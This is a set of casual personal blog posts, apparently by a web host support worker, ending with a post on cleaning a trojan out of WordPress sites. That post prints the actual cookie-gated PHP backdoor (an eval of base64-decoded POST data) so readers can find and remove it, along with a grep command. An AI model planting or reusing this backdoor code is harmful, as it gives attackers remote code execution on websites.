It might be a time for a trim when, after the company holiday party, your boss wanders into your office and says:
Jason, it’s great to see you upright with your head on straight. [long pause] Your hair still must be drunk tho…
Oh hat head, I hate you so.
Today, the coworkers decided to celebrate the birth of our country a day early by grabbing a quick lunch by the pool at The Standard and taking a post nosh dip.
Apparently, all you need to do to swim in the rooftop pool is buy a drink or grab a bite to eat. Had I known this, I’d have tried pulling that little scam off much sooner.
Some hipster girl let us know that she makes it over to The Standard a few times a week despite working at the Bonaventure because it’s not too crowded on the weekdays. Good to know.
With that being said, mojitos run about $13 — and beers are only slightly less expensive — so you might want to take that into consideration.
Still, it’s a fun way to kill an afternoon. You should go try it sometime…
Having a sort of meh hump day? This lip dub of Flagpole Sitta should brighten things up for you a little bit. It’s honestly one of the better lip dubs I’ve seen in a while.
After showing it to a few coworkers, some of us are plotting our own crazy awesome DreamHost lip dub in response. I’m not sure if it can live up to this one, but I do know that we’d end up have a lot of fun trying.
Since I work primarily in support, I read a lot of email day in and day out. After a while you start to pick up patterns. One day, my coworker Mike P. started to notice that an awful lot of folks finished their emails with the phrase “Please advise.” So much so that he started to keep a tally with a red sharpie and a piece of printer paper behind his desk.
Every time somebody in the office would get a message that contained the terse ending, we’d holler a “Please advise!” in the direction of his desk and he’d get to tallying. Mind you, this is a guy who knows perl and has access to our internal database. He could write a script to keep a running tally if he wanted to — but it’s just more fun for us to do it this way.
So in the interest of flogging a dead horse, I’ve gone ahead and crafted the “please advise” shirt. The plan is to wear it into work at semi-regular intervals for a good laugh every now and again. Well, at least until it stops being funny. I guess I’ll have to string it out if I want it to have any staying power.
Now I just have to figure out what to do with all of these left over letters…
Goodbye Horses
So I’ve been helping a few folks out with a Trojan that has been cropping up in a handful of WordPress installs as of late. Currently, it has been getting noticed by the good little girls and boys on Windows with virus scanners installed. When visiting an infected site, most folks are being prompted to download:
Don’t go there tho! The virus scanners identify the contents of that URL as JS:Packed-L, a packed JavaScript exploit.
So how do you find out if your install has been hit? Well, the ones I’ve been cleaning up all have the following bit of code right at the top of their main index.php:
<?php if(md5($_COOKIE['0bdcf3981272c15a'])=="23c8932280dcafe25c20c6d25c9c8660"){ eval(base64_decode($_POST['file'])); exit; } ?>If you see that floating around, get rid of it! Once you’ve done that, clear out your site’s cache — if you’re using a caching plugin, that is — and you should be good to go.
Should you not find that bit of code hanging around in your install’s index.php and there are people still complaining about it, I suggest getting shell access — so long as your web host is awesome and gives you that — and doing a recursive grep. At DreamHost, this is as easy as logging in and running:
grep -R 0bdcf3981272c15a /home/user/example.com/*Of course you’ll want to replace “user” with your username and “example.com” with the domain — or folder if you broke from standard naming conventions — where WordPress is installed. Give that command a few minutes to run and you should get a path of where that code snippet can be found. All you have to do at that point is purge it and clear any cache you might have on your WP install.
Of course, if you managed to get hit with this, it was because there was a hole in your WordPress install. Making sure your core install and plugins are up to date is always a great idea. I check mine daily — but even doing it once a week is better than most folks.
All I’m saying is that you have to stay militant. Doing so will seriously prevent the headaches of having to deal with fixing this crap on a regular basis.